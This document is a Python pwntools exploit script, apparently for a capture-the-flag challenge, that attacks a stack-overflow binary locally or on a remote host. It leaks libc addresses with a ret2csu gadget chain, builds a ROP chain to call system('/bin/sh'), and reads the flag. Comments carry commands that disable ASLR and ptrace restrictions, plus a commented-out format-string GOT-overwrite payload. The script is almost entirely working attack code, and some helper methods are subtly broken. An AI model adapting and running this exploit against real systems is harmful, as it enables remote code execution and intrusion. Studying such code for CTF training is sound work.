from pwn import *
import argparse
import os

# ulimit -c unlimited
# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
# echo 'core' | sudo tee /proc/sys/kernel/core_pattern

LOCAL_PATH = "./vuln"
# socat tcp4-l:8888,reuseaddr,fork exec:./vuln
REMOTE_PATH = ["127.0.0.1", 8888]
REMOTE_PATH = ["pwn2.jarvisoj.com", 9883]

context.log_level = logging.DEBUG

STD_IN  = 0
STD_OUT = 1
STD_ERR = 2

PREFIX = "/bin/sh#"

shellcode_x86 = b""
shellcode_x86 += b""
shellcode_x86 += b""

# get libc by libc-database
"""
# support we known system=830 __libc_start_main=df0
> ./find system 830 __libc_start_main df0
ubuntu-glibc (libc6_2.31-0ubuntu9.1_i386)
ubuntu-glibc (libc6_2.31-0ubuntu9_i386)
> ./dump libc6_2.31-0ubuntu9.1_i386 read
offset_read = 0x000f5c00
> ./dump libc6_2.31-0ubuntu9.1_i386
offset___libc_start_main_ret = 0x1eee5
offset_system = 0x00045830
offset_dup2 = 0x000f68c0
offset_read = 0x000f5c00
offset_write = 0x000f5ca0
offset_str_bin_sh = 0x192352
"""

def i_addr(addr, des):
    log.info("%s => 0x%x", des, addr)

def s_addr(addr, des):
    log.info("%s => 0x%x", des, addr)


class Exploit:
    def __init__(self, offset):
        self.offset = offset
        self._parse_arg()

        self.elf = context.binary = ELF(LOCAL_PATH)
        if self.args.remote:
            context.log_level = logging.INFO
            self.io = remote(*REMOTE_PATH)
        else:
            if not self.args.debug:
                context.log_level = logging.INFO
            self.io = process(LOCAL_PATH)

    def _parse_arg(self):
        parser = argparse.ArgumentParser()
        parser.add_argument(
            "-r",
            "--remote",
            help="Connect to remote server?",
            action="store_true"
        )
        parser.add_argument(
            "-d",
            "--debug",
            help="debug mode",
            action="store_true"
        )

        self.args = parser.parse_args()
        log.info("remote ? => %s", self.args.remote)
        log.info("debug  ? => %s", self.args.debug)

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        if self.io.connected():
            self.io.close()

    def save_payload(self, payload):
        with open('payload', 'wb') as f:
            f.write(payload)

    def gdb_debug(self, gdbscript=""):
        log.info('pid => %d', util.proc.pidof(self.io)[0])
        context.terminal = ['tmux', 'splitw', '-h']
        gdb.attach(self.io, gdbscript=gdbscript)

    def get_process(self):
        if self.args.remote:
            return remote(*REMOTE_PATH)
        else:
            return process(LOCAL_PATH)

    def send_payload(self, io, payload):
        io.sendlineafter("message:", PREFIX + payload)

    def exec_fmt(self, payload, is_remote=False):
        io = self.get_process(is_remote)
        self.send_payload(io, payload)
        return io.recvall()

    def get_shell(self):
        self.io.interactive()

    def get_flag(self, flag_name="flag"):
        self.io.clean()
        self.io.sendline('cat %s' % flag_name)
        flag = self.io.recv().decode('utf-8')
        log.success(flag)
        # TODO: save flag as {ip: flag}

    def get_flags(self):
        # TODO:
        pass

    def send_flags(self):
        # TODO: send flags in multi threads or send to flag center
        pass

    def call_3_args(self, edi, rsi, rdx, call_addr, ret_addr=None):
        ret_addr = self.elf.symbols['main'] if ret_addr is None else ret_addr
        ppppppr = 0x004006aa
        mmmc = 0x00400690

        payload = flat([
            b'\x90' * self.offset,
            ppppppr,
            0, # pop rbx
            1, # pop rbp
            call_addr, # pop r12
            rdx, # pop r13
            rsi, # pop r14
            edi, # pop r15
            mmmc,# ret
            # mov rdx, r13
            # mov rsi, r14
            # mov edi, r15d
            # call qword [r12 + rbx*8]
            # add rbx, 1
            # cmp rbx, rbp
            # jne 0x400690
            # ppppppr
            b'\x90' * 7 * 8,
            ret_addr
        ])

        self.io.sendline(payload)

    def get_libc_addr(self, xx_got):
        write_got = self.elf.got['write']
        addr_len = context.bits//8

        self.io.recvuntil(b'Input:\n')
        self.call_3_args(STD_OUT, xx_got, addr_len, write_got)

        return u64(self.io.recv(addr_len))

    def calc_libc(self,):
        # ./find write 0x7f0b48ec13b0 read 0x7f0b48ec1350
        # ./dump libc6_2.19-0ubuntu6.15_amd64
        offset_system = 0x0000000000046590
        offset_write = 0x00000000000ef3b0
        offset_str_bin_sh = 0x180543

        # libc = ELF('./libc-2.19.so')
        # offset_write = libc.symbols['write']
        # offset_system = libc.symbols['system']
        # offset_str_bin_sh = next(libc.search(b'/bin/sh'))

        self.system_addr = self.write_addr - (offset_write - offset_system)
        self.binsh_addr = self.write_addr - (offset_write - offset_str_bin_sh)

        s_addr(self.system_addr, 'system_addr')
        s_addr(self.binsh_addr, 'binsh_addr')


    def stage_1(self,):
        self.write_addr = self.get_libc_addr(self.elf.got['write'])
        self.read_addr = self.get_libc_addr(self.elf.got['read'])

        s_addr(self.write_addr, 'write_addr')
        s_addr(self.read_addr, 'read_addr')

        self.calc_libc()

    def stage_2(self,):
        self.io.recvuntil(b'Input:\n')
        pr = 0x004006b3 # pop rdi; ret
        payload = flat([
            b'\x90'*self.offset,
            pr,
            self.binsh_addr,
            self.system_addr,
        ])

        self.io.sendline(payload)

    def run(self):
        self.stage_1()
        self.stage_2()

        # self.get_shell()
        self.get_flag()

def main():
    # find stack overflow offset
    """
    ragg2 -P 0x200 -r | ./vuln
    """

    # x86
    """
    r2 -qc 'wopO `dr eip`' core
    """

    # x64 get 1 column, 0 row
    """
    r2 -qc 'wopO `pxr @rbp ~[1] :[0]`' core # result +8
    r2 -qc 'wopO `pxr 0x8 @rbp ~[0]`' core  # result +8
    r2 -qc 'wopO `pxr 0x8 @rsp ~[1]`' core
    """
    with Exploit(136) as e:
        e.run()

if __name__ == '__main__':
    main()

# e = ELF(LOCAL_PATH)
# context.binary = e.path

# autofmt = FmtStr(exec_fmt)

# writes = {e.got['puts']: e.symbols['vuln'], e.got['printf']: e.plt['system']}
# log.info("Address of puts() .got.plt: {}".format(hex(e.got['puts'])))
# log.info("Address of printf() .got.plt: {}".format(hex(e.got['printf'])))
# log.info("Address of vuln(): {}".format(hex(e.symbols['vuln'])))
# log.info("Address of system() .plt: {}".format(hex(e.plt['system'])))

# payload = fmtstr_payload(autofmt.offset, writes, numbwritten=len(PREFIX))
# log.info("Payload: {}".format(enhex(payload)))

# p = get_process(args.is_remote)
# send_payload(p, payload)
# p.interactive()
